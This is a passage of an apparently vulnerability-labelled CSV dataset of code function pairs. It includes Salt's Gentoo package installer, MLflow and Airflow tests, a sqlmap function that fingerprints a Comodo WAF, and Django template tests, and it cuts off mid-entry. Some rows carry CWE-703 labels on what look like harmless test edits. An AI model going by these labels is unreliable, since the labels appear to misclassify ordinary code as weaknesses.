    return changes",,saltstack/salt,b40a770b4f87753455c11903af95087aa7405935,"def install(
    name=None,
    refresh=False,
    pkgs=None,
    sources=None,
    slot=None,
    fromrepo=None,
    uses=None,
    binhost=None,
    **kwargs
):
    """"""
    .. versionchanged:: 2015.8.12,2016.3.3,2016.11.0
        On minions running systemd>=205, `systemd-run(1)`_ is now used to
        isolate commands which modify installed packages from the
        ``salt-minion`` daemon's control group. This is done to keep systemd
        from killing any emerge commands spawned by Salt when the
        ``salt-minion`` service is restarted. (see ``KillMode`` in the
        `systemd.kill(5)`_ manpage for more information). If desired, usage of
        `systemd-run(1)`_ can be suppressed by setting a :mod:`config option
        <salt.modules.config.get>` called ``systemd.scope``, with a value of
        ``False`` (no quotes).

    .. _`systemd-run(1)`: https://www.freedesktop.org/software/systemd/man/systemd-run.html
    .. _`systemd.kill(5)`: https://www.freedesktop.org/software/systemd/man/systemd.kill.html

    Install the passed package(s), add refresh=True to sync the portage tree
    before package is installed.

    name
        The name of the package to be installed. Note that this parameter is
        ignored if either ""pkgs"" or ""sources"" is passed. Additionally, please
        note that this option can only be used to emerge a package from the
        portage tree. To install a tbz2 package manually, use the ""sources""
        option described below.

        CLI Example:

        .. code-block:: bash

            salt '*' pkg.install <package name>

    refresh
        Whether or not to sync the portage tree before installing.

    version
        Install a specific version of the package, e.g. 1.0.9-r1. Ignored
        if ""pkgs"" or ""sources"" is passed.

    slot
        Similar to version, but specifies a valid slot to be installed. It
        will install the latest available version in the specified slot.
        Ignored if ""pkgs"" or ""sources"" or ""version"" is passed.

        CLI Example:

        .. code-block:: bash

            salt '*' pkg.install sys-devel/gcc slot='4.4'

    fromrepo
        Similar to slot, but specifies the repository from the package will be
        installed. It will install the latest available version in the
        specified repository.
        Ignored if ""pkgs"" or ""sources"" or ""version"" is passed.

        CLI Example:

        .. code-block:: bash

            salt '*' pkg.install salt fromrepo='gentoo'

    uses
        Similar to slot, but specifies a list of use flag.
        Ignored if ""pkgs"" or ""sources"" or ""version"" is passed.

        CLI Example:

        .. code-block:: bash

            salt '*' pkg.install sys-devel/gcc uses='[""nptl"",""-nossp""]'


    Multiple Package Installation Options:

    pkgs
        A list of packages to install from the portage tree. Must be passed as
        a python list.

        CLI Example:

        .. code-block:: bash

            salt '*' pkg.install pkgs='[""foo"",""bar"",""~category/package:slot::repository[use]""]'

    sources
        A list of tbz2 packages to install. Must be passed as a list of dicts,
        with the keys being package names, and the values being the source URI
        or local path to the package.

        CLI Example:

        .. code-block:: bash

            salt '*' pkg.install sources='[{""foo"": ""salt://foo.tbz2""},{""bar"": ""salt://bar.tbz2""}]'
    binhost
        has two options try and force.
        try - tells emerge to try and install the package from a configured binhost.
        force - forces emerge to install the package from a binhost otherwise it fails out.

    Returns a dict containing the new package names and versions::

        {'<package>': {'old': '<old-version>',
                       'new': '<new-version>'}}
    """"""
    log.debug(
        ""Called modules.pkg.install: %s"",
        {
            ""name"": name,
            ""refresh"": refresh,
            ""pkgs"": pkgs,
            ""sources"": sources,
            ""kwargs"": kwargs,
            ""binhost"": binhost,
        },
    )
    if salt.utils.data.is_true(refresh):
        refresh_db()

    try:
        pkg_params, pkg_type = __salt__[""pkg_resource.parse_targets""](
            name, pkgs, sources, **kwargs
        )
    except MinionError as exc:
        raise CommandExecutionError(exc)

    # Handle version kwarg for a single package target
    if pkgs is None and sources is None:
        version_num = kwargs.get(""version"")
        if not version_num:
            version_num = """"
            if slot is not None:
                version_num += "":{}"".format(slot)
            if fromrepo is not None:
                version_num += ""::{}"".format(fromrepo)
            if uses is not None:
                version_num += ""[{}]"".format("","".join(uses))
            pkg_params = {name: version_num}

    if not pkg_params:
        return {}
    elif pkg_type == ""file"":
        emerge_opts = [""tbz2file""]
    else:
        emerge_opts = []

    if binhost == ""try"":
        bin_opts = [""-g""]
    elif binhost == ""force"":
        bin_opts = [""-G""]
    else:
        bin_opts = []

    changes = {}

    if pkg_type == ""repository"":
        targets = list()
        for param, version_num in pkg_params.items():
            original_param = param
            param = _p_to_cp(param)
            if param is None:
                raise portage.dep.InvalidAtom(original_param)

            if version_num is None:
                targets.append(param)
            else:
                keyword = None

                match = re.match(""^(~)?([<>])?(=)?([^<>=]*)$"", version_num)
                if match:
                    keyword, gt_lt, eq, verstr = match.groups()
                    prefix = gt_lt or """"
                    prefix += eq or """"
                    # If no prefix characters were supplied and verstr contains a version, use '='
                    if len(verstr) > 0 and verstr[0] != "":"" and verstr[0] != ""["":
                        prefix = prefix or ""=""
                        target = ""{}{}-{}"".format(prefix, param, verstr)
                    else:
                        target = ""{}{}"".format(param, verstr)
                else:
                    target = ""{}"".format(param)

                if ""["" in target:
                    old = __salt__[""portage_config.get_flags_from_package_conf""](
                        ""use"", target
                    )
                    __salt__[""portage_config.append_use_flags""](target)
                    new = __salt__[""portage_config.get_flags_from_package_conf""](
                        ""use"", target
                    )
                    if old != new:
                        changes[param + ""-USE""] = {""old"": old, ""new"": new}
                    target = target[: target.rfind(""["")]

                if keyword is not None:
                    __salt__[""portage_config.append_to_package_conf""](
                        ""accept_keywords"", target, [""~ARCH""]
                    )
                    changes[param + ""-ACCEPT_KEYWORD""] = {""old"": """", ""new"": ""~ARCH""}

                if not changes:
                    inst_v = version(param)

                    # Prevent latest_version from calling refresh_db. Either we
                    # just called it or we were asked not to.
                    if latest_version(param, refresh=False) == inst_v:
                        all_uses = __salt__[""portage_config.get_cleared_flags""](param)
                        if _flags_changed(*all_uses):
                            changes[param] = {
                                ""version"": inst_v,
                                ""old"": {""use"": all_uses[0]},
                                ""new"": {""use"": all_uses[1]},
                            }
                targets.append(target)
    else:
        targets = pkg_params

    cmd = []
    if salt.utils.systemd.has_scope(__context__) and __salt__[""config.get""](
        ""systemd.scope"", True
    ):
        cmd.extend([""systemd-run"", ""--scope""])
    cmd.extend([""emerge"", ""--ask"", ""n"", ""--quiet""])
    cmd.extend(bin_opts)
    cmd.extend(emerge_opts)
    cmd.extend(targets)

    old = list_pkgs()
    call = __salt__[""cmd.run_all""](cmd, output_loglevel=""trace"", python_shell=False)
    if call[""retcode""] != 0:
        needed_changes = _process_emerge_err(call[""stdout""], call[""stderr""])
    else:
        needed_changes = []

    __context__.pop(""pkg.list_pkgs"", None)
    new = list_pkgs()
    changes.update(salt.utils.data.compare_dicts(old, new))

    if needed_changes:
        raise CommandExecutionError(
            ""Error occurred installing package(s)"",
            info={""needed changes"": needed_changes, ""changes"": changes},
        )

    return changes"
,UNKNOWN,UNKNOWN,tests/store/tracking/test_sqlalchemy_store.py,1,"def test_search_experiments_view_type(self):
        experiment_names = [""a"", ""b""]
        experiment_ids = self._experiment_factory(experiment_names)
        self.store.delete_experiment(experiment_ids[1])

        experiments = self.store.search_experiments(
            view_type=ViewType.ACTIVE_ONLY, order_by=[""creation_time DESC""]
        )
        assert [e.name for e in experiments] == [""a"", ""Default""]
        experiments = self.store.search_experiments(view_type=ViewType.DELETED_ONLY)
        assert [e.name for e in experiments] == [""b""]
        experiments = self.store.search_experiments(
            view_type=ViewType.ALL, order_by=[""creation_time DESC""]
        )
        assert [e.name for e in experiments] == [""b"", ""a"", ""Default""]",CWE-703,mlflow/mlflow,9474fd6bf54727433b752eb51ee4dea209d79b44,"def test_search_experiments_view_type(self):
        experiment_names = [""a"", ""b""]
        experiment_ids = self._experiment_factory(experiment_names)
        self.store.delete_experiment(experiment_ids[1])

        experiments = self.store.search_experiments(view_type=ViewType.ACTIVE_ONLY)
        assert [e.name for e in experiments] == [""a"", ""Default""]
        experiments = self.store.search_experiments(view_type=ViewType.DELETED_ONLY)
        assert [e.name for e in experiments] == [""b""]
        experiments = self.store.search_experiments(view_type=ViewType.ALL)
        assert [e.name for e in experiments] == [""b"", ""a"", ""Default""]"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,waf/comodo.py,0,"def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
        _, headers, _ = get_page(get=vector)
        retval |= re.search(r""Protected by COMODO WAF"", headers.get(HTTP_HEADER.SERVER, """"), re.I) is not None
        if retval:
            break

    return retval",,sqlmapproject/sqlmap,9043d9dd05a3b9470abeacd9510752999a7479ae,"def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
        _, headers, _ = get_page(get=vector)
        retval = re.search(r""Protected by COMODO WAF"", headers.get(HTTP_HEADER.SERVER, """"), re.I) is not None
        if retval:
            break

    return retval"
,UNKNOWN,UNKNOWN,tests/task/task_runner/test_standard_task_runner.py,1,"def test_on_kill(self):
        """"""
        Test that ensures that clearing in the UI SIGTERMS
        the task
        """"""
        path_on_kill_running = ""/tmp/airflow_on_kill_running""
        path_on_kill_killed = ""/tmp/airflow_on_kill_killed""
        try:
            os.unlink(path_on_kill_running)
        except OSError:
            pass
        try:
            os.unlink(path_on_kill_killed)
        except OSError:
            pass

        dagbag = DagBag(
            dag_folder=TEST_DAG_FOLDER,
            include_examples=False,
        )
        dag = dagbag.dags.get('test_on_kill')
        task = dag.get_task('task1')

        with create_session() as session:
            dag.create_dagrun(
                run_id=""test"",
                state=State.RUNNING,
                execution_date=DEFAULT_DATE,
                start_date=DEFAULT_DATE,
                session=session,
            )
            ti = TaskInstance(task=task, execution_date=DEFAULT_DATE)
            job1 = LocalTaskJob(task_instance=ti, ignore_ti_state=True)
            session.commit()

            runner = StandardTaskRunner(job1)
            runner.start()

            with timeout(seconds=3):
                while True:
                    runner_pgid = os.getpgid(runner.process.pid)
                    if runner_pgid == runner.process.pid:
                        break
                    time.sleep(0.01)

            processes = list(self._procs_in_pgroup(runner_pgid))

            logging.info(""Waiting for the task to start"")
            with timeout(seconds=4):
                while True:
                    if os.path.exists(path_on_kill_running):
                        break
                    time.sleep(0.01)
            logging.info(""Task started. Give the task some time to settle"")
            time.sleep(3)
            logging.info(f""Terminating processes {processes} belonging to {runner_pgid} group"")
            runner.terminate()
            session.close()  # explicitly close as `create_session`s commit will blow up otherwise

        logging.info(""Waiting for the on kill killed file to appear"")
        with timeout(seconds=4):
            while True:
                if os.path.exists(path_on_kill_killed):
                    break
                time.sleep(0.01)
        logging.info(""The file appeared"")

        with open(path_on_kill_killed) as f:
            assert ""ON_KILL_TEST"" == f.readline()

        for process in processes:
            assert not psutil.pid_exists(process.pid), f""{process} is still alive""",CWE-703,apache/airflow,20ac7c196e9e8ba420fd89ce23c02c6ab6bdb491,"def test_on_kill(self):
        """"""
        Test that ensures that clearing in the UI SIGTERMS
        the task
        """"""
        path = ""/tmp/airflow_on_kill""
        try:
            os.unlink(path)
        except OSError:
            pass

        dagbag = DagBag(
            dag_folder=TEST_DAG_FOLDER,
            include_examples=False,
        )
        dag = dagbag.dags.get('test_on_kill')
        task = dag.get_task('task1')

        with create_session() as session:
            dag.create_dagrun(
                run_id=""test"",
                state=State.RUNNING,
                execution_date=DEFAULT_DATE,
                start_date=DEFAULT_DATE,
                session=session,
            )
            ti = TaskInstance(task=task, execution_date=DEFAULT_DATE)
            job1 = LocalTaskJob(task_instance=ti, ignore_ti_state=True)
            session.commit()

            runner = StandardTaskRunner(job1)
            runner.start()

            # give the task some time to startup
            time.sleep(3)

            pgid = os.getpgid(runner.process.pid)
            assert pgid > 0
            assert pgid != os.getpgid(0), ""Task should be in a different process group to us""

            processes = list(self._procs_in_pgroup(pgid))

            runner.terminate()

            session.close()  # explicitly close as `create_session`s commit will blow up otherwise

        # Wait some time for the result
        with timeout(seconds=40):
            while True:
                if os.path.exists(path):
                    break
                time.sleep(0.01)

        with open(path) as f:
            assert ""ON_KILL_TEST"" == f.readline()

        for process in processes:
            assert not psutil.pid_exists(process.pid), f""{process} is still alive"""
,UNKNOWN,UNKNOWN,tests/template_tests/tests.py,1,"def get_template_tests(self):
        # SYNTAX --
        # 'template_name': ('template contents', 'context dict', 'expected string output' or Exception class)
        # This import is necessary when tests are run isolated:
        from .templatetags import custom  # noqa
        basedir = os.path.dirname(os.path.abspath(upath(__file__)))
        tests = {
            ### BASIC SYNTAX ################################################

            # Plain text should go through the template parser untouched
            'basic-syntax01': (""something cool"", {}, ""something cool""),

            # Variables should be replaced with their value in the current
            # context
            'basic-syntax02': (""{{ headline }}"", {'headline': 'Success'}, ""Success""),

            # More than one replacement variable is allowed in a template
            'basic-syntax03': (""{{ first }} --- {{ second }}"", {""first"": 1, ""second"": 2}, ""1 --- 2""),

            # Fail silently when a variable is not found in the current context
            'basic-syntax04': (""as{{ missing }}df"", {}, (""asdf"", ""asINVALIDdf"")),

            # A variable may not contain more than one word
            'basic-syntax06': (""{{ multi word variable }}"", {}, template.TemplateSyntaxError),

            # Raise TemplateSyntaxError for empty variable tags
            'basic-syntax07': (""{{ }}"", {}, template.TemplateSyntaxError),
            'basic-syntax08': (""{{        }}"", {}, template.TemplateSyntaxError),

            # Attribute syntax allows a template to call an object's attribute
            'basic-syntax09': (""{{ var.method }}"", {""var"": SomeClass()}, ""SomeClass.method""),

            # Multiple levels of attribute access are allowed
            'basic-syntax10': (""{{ var.otherclass.method }}"", {""var"": SomeClass()}, ""OtherClass.method""),

            # Fail silently when a variable's attribute isn't found
            'basic-syntax11': (""{{ var.blech }}"", {""var"": SomeClass()}, ("""", ""INVALID"")),

            # Raise TemplateSyntaxError when trying to access a variable beginning with an underscore
            'basic-syntax12': (""{{ var.__dict__ }}"", {""var"": SomeClass()}, template.TemplateSyntaxError),

            # Raise TemplateSyntaxError when trying to access a variable containing an illegal character
            'basic-syntax13': (""{{ va>r }}"", {}, template.TemplateSyntaxError),
            'basic-syntax14': (""{{ (var.r) }}"", {}, template.TemplateSyntaxError),
            'basic-syntax15': (""{{ sp%am }}"", {}, template.TemplateSyntaxError),
            'basic-syntax16': (""{{ eggs! }}"", {}, template.TemplateSyntaxError),
            'basic-syntax17': (""{{ moo? }}"", {}, template.TemplateSyntaxError),

            # Attribute syntax allows a template to call a dictionary key's value
            'basic-syntax18': (""{{ foo.bar }}"", {""foo"": {""bar"": ""baz""}}, ""baz""),

            # Fail silently when a variable's dictionary key isn't found
            'basic-syntax19': (""{{ foo.spam }}"", {""foo"": {""bar"": ""baz""}}, ("""", ""INVALID"")),

            # Fail silently when accessing a non-simple method
            'basic-syntax20': (""{{ var.method2 }}"", {""var"": SomeClass()}, ("""", ""INVALID"")),

            # Don't silence a TypeError if it was raised inside a callable
            'basic-syntax20b': (""{{ var.method5 }}"", {""var"": SomeClass()}, TypeError),

            # Don't get confused when parsing something that is almost, but not
            # quite, a template tag.
            'basic-syntax21': (""a {{ moo %} b"", {}, ""a {{ moo %} b""),
            'basic-syntax22': (""{{ moo #}"", {}, ""{{ moo #}""),

            # Will try to treat ""moo #} {{ cow"" as the variable. Not ideal, but
            # costly to work around, so this triggers an error.
            'basic-syntax23': (""{{ moo #} {{ cow }}"", {""cow"": ""cow""}, template.TemplateSyntaxError),

            # Embedded newlines make it not-a-tag.
            'basic-syntax24': (""{{ moo\n }}"", {}, ""{{ moo\n }}""),

            # Literal strings are permitted inside variables, mostly for i18n
            # purposes.
            'basic-syntax25': ('{{ ""fred"" }}', {}, ""fred""),
            'basic-syntax26': (r'{{ ""\""fred\"""" }}', {}, ""\""fred\""""),
            'basic-syntax27': (r'{{ _(""\""fred\"""") }}', {}, ""\""fred\""""),

            # regression test for ticket #12554
            # make sure a silent_variable_failure Exception is suppressed
            # on dictionary and attribute lookup
            'basic-syntax28': (""{{ a.b }}"", {'a': SilentGetItemClass()}, ('', 'INVALID')),
            'basic-syntax29': (""{{ a.b }}"", {'a': SilentAttrClass()}, ('', 'INVALID')),

            # Something that starts like a number but has an extra lookup works as a lookup.
            'basic-syntax30': (""{{ 1.2.3 }}"", {""1"": {""2"": {""3"": ""d""}}}, ""d""),
            'basic-syntax31': (""{{ 1.2.3 }}"", {""1"": {""2"": (""a"", ""b"", ""c"", ""d"")}}, ""d""),
            'basic-syntax32': (""{{ 1.2.3 }}"", {""1"": ((""x"", ""x"", ""x"", ""x""), (""y"", ""y"", ""y"", ""y""), (""a"", ""b"", ""c"", ""d""))}, ""d""),
            'basic-syntax33': (""{{ 1.2.3 }}"", {""1"": (""xxxx"", ""yyyy"", ""abcd"")}, ""d""),
            'basic-syntax34': (""{{ 1.2.3 }}"", {""1"": ({""x"": ""x""}, {""y"": ""y""}, {""z"": ""z"", ""3"": ""d""})}, ""d""),

            # Numbers are numbers even if their digits are in the context.
            'basic-syntax35': (""{{ 1 }}"", {""1"": ""abc""}, ""1""),
            'basic-syntax36': (""{{ 1.2 }}"", {""1"": ""abc""}, ""1.2""),

            # Call methods in the top level of the context
            'basic-syntax37': ('{{ callable }}', {""callable"": lambda: ""foo bar""}, ""foo bar""),

            # Call methods returned from dictionary lookups
            'basic-syntax38': ('{{ var.callable }}', {""var"": {""callable"": lambda: ""foo bar""}}, ""foo bar""),

            'builtins01': ('{{ True }}', {}, ""True""),
            'builtins02': ('{{ False }}', {}, ""False""),
            'builtins03': ('{{ None }}', {}, ""None""),

            # List-index syntax allows a template to access a certain item of a subscriptable object.
            'list-index01': (""{{ var.1 }}"", {""var"": [""first item"", ""second item""]}, ""second item""),

            # Fail silently when the list index is out of range.
            'list-index02': (""{{ var.5 }}"", {""var"": [""first item"", ""second item""]}, ("""", ""INVALID"")),

            # Fail silently when the variable is not a subscriptable object.
            'list-index03': (""{{ var.1 }}"", {""var"": None}, ("""", ""INVALID"")),

            # Fail silently when variable is a dict without the specified key.
            'list-index04': (""{{ var.1 }}"", {""var"": {}}, ("""", ""INVALID"")),

            # Dictionary lookup wins out when dict's key is a string.
            'list-index05': (""{{ var.1 }}"", {""var"": {'1': ""hello""}}, ""hello""),

            # But list-index lookup wins out when dict's key is an int, which
            # behind the scenes is really a dictionary lookup (for a dict)
            # after converting the key to an int.
            'list-index06': (""{{ var.1 }}"", {""var"": {1: ""hello""}}, ""hello""),

            # Dictionary lookup wins out when there is a string and int version of the key.
            'list-index07': (""{{ var.1 }}"", {""var"": {'1': ""hello"", 1: ""world""}}, ""hello""),

            # Basic filter usage
            'filter-syntax01': (""{{ var|upper }}"", {""var"": ""Django is the greatest!""}, ""DJANGO IS THE GREATEST!""),

            # Chained filters
            'filter-syntax02': (""{{ var|upper|lower }}"", {""var"": ""Django is the greatest!""}, ""django is the greatest!""),

            # Allow spaces before the filter pipe
            'filter-syntax03': (""{{ var |upper }}"", {""var"": ""Django is the greatest!""}, ""DJANGO IS THE GREATEST!""),

            # Allow spaces after the filter pipe
            'filter-syntax04': (""{{ var| upper }}"", {""var"": ""Django is the greatest!""}, ""DJANGO IS THE GREATEST!""),

            # Raise TemplateSyntaxError for a nonexistent filter
            'filter-syntax05': (""{{ var|does_not_exist }}"", {}, template.TemplateSyntaxError),

            # Raise TemplateSyntaxError when trying to access a filter containing an illegal character
            'filter-syntax06': (""{{ var|fil(ter) }}"", {}, template.TemplateSyntaxError),

            # Raise TemplateSyntaxError for invalid block tags
            'filter-syntax07': (""{% nothing_to_see_here %}"", {}, template.TemplateSyntaxError),

            # Raise TemplateSyntaxError for empty block tags
            'filter-syntax08': (""{% %}"", {}, template.TemplateSyntaxError),

            # Chained filters, with an argument to the first one
            'filter-syntax09': ('{{ var|removetags:""b i""|upper|lower }}', {""var"": ""<b><i>Yes</i></b>""}, ""yes""),

            # Literal string as argument is always ""safe"" from auto-escaping..
            'filter-syntax10': (r'{{ var|default_if_none:"" endquote\"" hah"" }}',
                    {""var"": None}, ' endquote"" hah'),

            # Variable as argument
            'filter-syntax11': (r'{{ var|default_if_none:var2 }}', {""var"": None, ""var2"": ""happy""}, 'happy'),

            # Default argument testing
            'filter-syntax12': (r'{{ var|yesno:""yup,nup,mup"" }} {{ var|yesno }}', {""var"": True}, 'yup yes'),

            # Fail silently for methods that raise an exception with a
            # ""silent_variable_failure"" attribute
            'filter-syntax13': (r'1{{ var.method3 }}2', {""var"": SomeClass()}, (""12"", ""1INVALID2"")),

            # In methods that raise an exception without a
            # ""silent_variable_attribute"" set to True, the exception propagates
            'filter-syntax14': (r'1{{ var.method4 }}2', {""var"": SomeClass()}, (SomeOtherException, SomeOtherException)),

            # Escaped backslash in argument
            'filter-syntax15': (r'{{ var|default_if_none:""foo\bar"" }}', {""var"": None}, r'foo\bar'),

            # Escaped backslash using known escape char
            'filter-syntax16': (r'{{ var|default_if_none:""foo\now"" }}', {""var"": None}, r'foo\now'),

            # Empty strings can be passed as arguments to filters
            'filter-syntax17': (r'{{ var|join:"""" }}', {'var': ['a', 'b', 'c']}, 'abc'),

            # Make sure that any unicode strings are converted to bytestrings
            # in the final output.
            'filter-syntax18': (r'{{ var }}', {'var': UTF8Class()}, '\u0160\u0110\u0106\u017d\u0107\u017e\u0161\u0111'),

            # Numbers as filter arguments should work
            'filter-syntax19': ('{{ var|truncatewords:1 }}', {""var"": ""hello world""}, ""hello ...""),

            # filters should accept empty string constants
            'filter-syntax20': ('{{ """"|default_if_none:""was none"" }}', {}, """"),

            # Fail silently for non-callable attribute and dict lookups which
            # raise an exception with a ""silent_variable_failure"" attribute
            'filter-syntax21': (r'1{{ var.silent_fail_key }}2', {""var"": SomeClass()}, (""12"", ""1INVALID2"")),
            'filter-syntax22': (r'1{{ var.silent_fail_attribute }}2', {""var"": SomeClass()}, (""12"", ""1INVALID2"")),

            # In attribute and dict lookups that raise an unexpected exception
            # without a ""silent_variable_attribute"" set to True, the exception
            # propagates
            'filter-syntax23': (r'1{{ var.noisy_fail_key }}2', {""var"": SomeClass()}, (SomeOtherException, SomeOtherException)),
            'filter-syntax24': (r'1{{ var.noisy_fail_attribute }}2', {""var"": SomeClass()}, (SomeOtherException, SomeOtherException)),

            # #16383 - A @property that raises AttributeError should not fail loudly.
            'filter-syntax25': ('{{ var.attribute_error_attribute }}', {""var"": SomeClass()}, (AttributeError)),

            ### COMMENT SYNTAX ########################################################
            'comment-syntax01': (""{# this is hidden #}hello"", {}, ""hello""),
            'comment-syntax02': (""{# this is hidden #}hello{# foo #}"", {}, ""hello""),

            # Comments can contain invalid stuff.
            'comment-syntax03': (""foo{#  {% if %}  #}"", {}, ""foo""),
            'comment-syntax04': (""foo{#  {% endblock %}  #}"", {}, ""foo""),
            'comment-syntax05': (""foo{#  {% somerandomtag %}  #}"", {}, ""foo""),
            'comment-syntax06': (""foo{# {% #}"", {}, ""foo""),
            'comment-syntax07': (""foo{# %} #}"", {}, ""foo""),
            'comment-syntax08': (""foo{# %} #}bar"", {}, ""foobar""),
            'comment-syntax09': (""foo{# {{ #}"", {}, ""foo""),
            'comment-syntax10': (""foo{# }} #}"", {}, ""foo""),
            'comment-syntax11': (""foo{# { #}"", {}, ""foo""),
            'comment-syntax12': (""foo{# } #}"", {}, ""foo""),

            ### COMMENT TAG ###########################################################
            'comment-tag01': (""{% comment %}this is hidden{% endcomment %}hello"", {}, ""hello""),
            'comment-tag02': (""{% comment %}this is hidden{% endcomment %}hello{% comment %}foo{% endcomment %}"", {}, ""hello""),

            # Comment tag can contain invalid stuff.
            'comment-tag03': (""foo{% comment %} {% if %} {% endcomment %}"", {}, ""foo""),
            'comment-tag04': (""foo{% comment %} {% endblock %} {% endcomment %}"", {}, ""foo""),
            'comment-tag05': (""foo{% comment %} {% somerandomtag %} {% endcomment %}"", {}, ""foo""),

            ### CYCLE TAG #############################################################
            'cycle01': ('{% cycle a %}', {}, template.TemplateSyntaxError),
            'cycle02': ('{% cycle a,b,c as abc %}{% cycle abc %}', {}, 'ab'),
            'cycle03': ('{% cycle a,b,c as abc %}{% cycle abc %}{% cycle abc %}', {}, 'abc'),
            'cycle04': ('{% cycle a,b,c as abc %}{% cycle abc %}{% cycle abc %}{% cycle abc %}', {}, 'abca'),
            'cycle05': ('{% cycle %}', {}, template.TemplateSyntaxError),
            'cycle06': ('{% cycle a %}', {}, template.TemplateSyntaxError),
            'cycle07': ('{% cycle a,b,c as foo %}{% cycle bar %}', {}, template.TemplateSyntaxError),
            'cycle08': ('{% cycle a,b,c as foo %}{% cycle foo %}{{ foo }}{{ foo }}{% cycle foo %}{{ foo }}', {}, 'abbbcc'),
            'cycle09': (""{% for i in test %}{% cycle a,b %}{{ i }},{% endfor %}"", {'test': range(5)}, 'a0,b1,a2,b3,a4,'),
            'cycle10': (""{% cycle 'a' 'b' 'c' as abc %}{% cycle abc %}"", {}, 'ab'),
            'cycle11': (""{% cycle 'a' 'b' 'c' as abc %}{% cycle abc %}{% cycle abc %}"", {}, 'abc'),
            'cycle12': (""{% cycle 'a' 'b' 'c' as abc %}{% cycle abc %}{% cycle abc %}{% cycle abc %}"", {}, 'abca'),
            'cycle13': (""{% for i in test %}{% cycle 'a' 'b' %}{{ i }},{% endfor %}"", {'test': range(5)}, 'a0,b1,a2,b3,a4,'),
            'cycle14': (""{% cycle one two as foo %}{% cycle foo %}"", {'one': '1', 'two': '2'}, '12'),
            'cycle15': (""{% for i in test %}{% cycle aye bee %}{{ i }},{% endfor %}"", {'test': range(5), 'aye': 'a', 'bee': 'b'}, 'a0,b1,a2,b3,a4,'),
            'cycle16': (""{% cycle one|lower two as foo %}{% cycle foo %}"", {'one': 'A', 'two': '2'}, 'a2'),
            'cycle17': (""{% cycle 'a' 'b' 'c' as abc silent %}{% cycle abc %}{% cycle abc %}{% cycle abc %}{% cycle abc %}"", {}, """"),
            'cycle18': (""{% cycle 'a' 'b' 'c' as foo invalid_flag %}"", {}, template.TemplateSyntaxError),
            'cycle19': (""{% cycle 'a' 'b' as silent %}{% cycle silent %}"", {}, ""ab""),
            'cycle20': (""{% cycle one two as foo %} &amp; {% cycle foo %}"", {'one': 'A & B', 'two': 'C & D'}, ""A &amp; B &amp; C &amp; D""),
            'cycle21': (""{% filter force_escape %}{% cycle one two as foo %} & {% cycle foo %}{% endfilter %}"", {'one': 'A & B', 'two': 'C & D'}, ""A &amp;amp; B &amp; C &amp;amp; D""),
            'cycle22': (""{% for x in values %}{% cycle 'a' 'b' 'c' as abc silent %}{{ x }}{% endfor %}"", {'values': [1, 2, 3, 4]}, ""1234""),
            'cycle23': (""{% for x in values %}{% cycle 'a' 'b' 'c' as abc silent %}{{ abc }}{{ x }}{% endfor %}"", {'values': [1, 2, 3, 4]}, ""a1b2c3a4""),
            'included-cycle': ('{{ abc }}', {'abc': 'xxx'}, 'xxx'),
            'cycle24': (""{% for x in values %}{% cycle 'a' 'b' 'c' as abc silent %}{% include 'included-cycle' %}{% endfor %}"", {'values': [1, 2, 3, 4]}, ""abca""),
            'cycle25': ('{% cycle a as abc %}', {'a': '<'}, '&lt;'),

            'cycle26': ('{% load cycle from future %}{% cycle a b as ab %}{% cycle ab %}', {'a': '<', 'b': '>'}, '&lt;&gt;'),
            'cycle27': ('{% load cycle from future %}{% autoescape off %}{% cycle a b as ab %}{% cycle ab %}{% endautoescape %}', {'a': '<', 'b': '>'}, '<>'),
            'cycle28': ('{% load cycle from future %}{% cycle a|safe b as ab %}{% cycle ab %}', {'a': '<', 'b': '>'}, '<&gt;'),

            ### EXCEPTIONS ############################################################

            # Raise exception for invalid template name
            'exception01': (""{% extends 'nonexistent' %}"", {}, (template.TemplateDoesNotExist, template.TemplateDoesNotExist)),

            # Raise exception for invalid template name (in variable)
            'exception02': (""{% extends nonexistent %}"", {}, (template.TemplateSyntaxError, template.TemplateDoesNotExist)),

            # Raise exception for extra {% extends %} tags
            'exception03': (""{% extends 'inheritance01' %}{% block first %}2{% endblock %}{% extends 'inheritance16' %}"", {}, template.TemplateSyntaxError),

            # Raise exception for custom tags used in child with {% load %} tag in parent, not in child
            'exception04': (""{% extends 'inheritance17' %}{% block first %}{% echo 400 %}5678{% endblock %}"", {}, template.TemplateSyntaxError),

            # Raise exception for block.super used in base template
            'exception05': (""{% block first %}{{ block.super }}{% endblock %}"", {}, template.TemplateSyntaxError),

            ### FILTER TAG ############################################################
            'filter01': ('{% filter upper %}{% endfilter %}', {}, ''),
            'filter02': ('{% filter upper %}django{% endfilter %}', {}, 'DJANGO'),
            'filter03': ('{% filter upper|lower %}django{% endfilter %}', {}, 'django'),
            'filter04': ('{% filter cut:remove %}djangospam{% endfilter %}', {'remove': 'spam'}, 'django'),
            'filter05': ('{% filter safe %}fail{% endfilter %}', {}, template.TemplateSyntaxError),
            'filter05bis': ('{% filter upper|safe %}fail{% endfilter %}', {}, template.TemplateSyntaxError),
            'filter06': ('{% filter escape %}fail{% endfilter %}', {}, template.TemplateSyntaxError),
            'filter06bis': ('{% filter upper|escape %}fail{% endfilter %}', {}, template.TemplateSyntaxError),

            ### FIRSTOF TAG ###########################################################
            'firstof01': ('{% firstof a b c %}', {'a': 0, 'b': 0, 'c': 0}, ''),
            'firstof02': ('{% firstof a b c %}', {'a': 1, 'b': 0, 'c': 0}, '1'),
            'firstof03': ('{% firstof a b c %}', {'a': 0, 'b': 2, 'c': 0}, '2'),
            'firstof04': ('{% firstof a b c %}', {'a': 0, 'b': 0, 'c': 3}, '3'),
            'firstof05': ('{% firstof a b c %}', {'a': 1, 'b': 2, 'c': 3}, '1'),
            'firstof06': ('{% firstof a b c %}', {'b': 0, 'c': 3}, '3'),
            'firstof07': ('{% firstof a b ""c"" %}', {'a': 0}, 'c'),
            'firstof08': ('{% firstof a b ""c and d"" %}', {'a': 0, 'b': 0}, 'c and d'),
            'firstof09': ('{% firstof %}', {}, template.TemplateSyntaxError),
            'firstof10': ('{% firstof a %}', {'a': '<'}, '&lt;'),

            'firstof11': ('{% load firstof from future %}{% firstof a b %}', {'a': '<', 'b': '>'}, '&lt;'),
            'firstof12': ('{% load firstof from future %}{% firstof a b %}', {'a': '', 'b': '>'}, '&gt;'),
            'firstof13': ('{% load firstof from future %}{% autoescape off %}{% firstof a %}{% endautoescape %}', {'a': '<'}, '<'),
            'firstof14': ('{% load firstof from future %}{% firstof a|safe b %}', {'a': '<'}, '<'),

